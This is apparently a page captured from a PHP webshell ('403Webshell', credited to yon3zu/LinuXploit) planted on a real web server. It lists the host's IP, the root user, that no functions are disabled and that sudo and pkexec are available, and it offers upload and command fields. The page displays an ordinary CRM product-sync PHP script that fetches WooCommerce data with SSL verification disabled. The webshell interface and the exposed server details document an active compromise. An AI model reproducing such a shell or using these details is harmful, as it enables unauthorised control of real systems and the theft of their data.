403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mequitecbeta.crmtiger.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mequitecbeta.crmtiger.com/FetchProductTest.php
<?php


require_once('data/CRMEntity.php');
include_once 'include/utils/VtlibUtils.php';
require_once('include/utils/utils.php');

class SyncWCProductsHandler1{


	function process(){
       echo "Script Execution Start!"."<br>";
       $curlUrl = "https://maquitewp.crmtiger.com/getWooProducts.php?page=1&perPage=1";
       $productList_json = $this->getWPProductList($curlUrl, 'GET', $data=array());
       //echo "<pre>";print_r($productList_json);exit;
       $productList = json_decode($productList_json, true);
       $product_records_count_info = $productList['productRecordPageCount'];
       $productsData = $productList['productRecordsData'];
       $total_records = $product_records_count_info['totalRecord'];
       $total_pages = $product_records_count_info['totalPages'];
       $created_count = 0;
       $updated_count = 0;
       foreach($productsData as $productInfo){
             echo "<pre>";print_r($productInfo);
         }
       }

       function getWPProductList($curlUrl, $method, $data){
        $headers = array(
        "Content-Type: application/json",
    );

    if($data != ""){
        $data = json_encode($data);
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_URL, $curlUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 0);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

    if($method != 'GET'){
      curl_setopt($ch, CURLOPT_POSTFIELDS, ($data));
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    // converting
    $response = curl_exec($ch);
    return $response;
    curl_close($ch);

    }



	}


   

$handler = new SyncWCProductsHandler1();
$handler->process();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit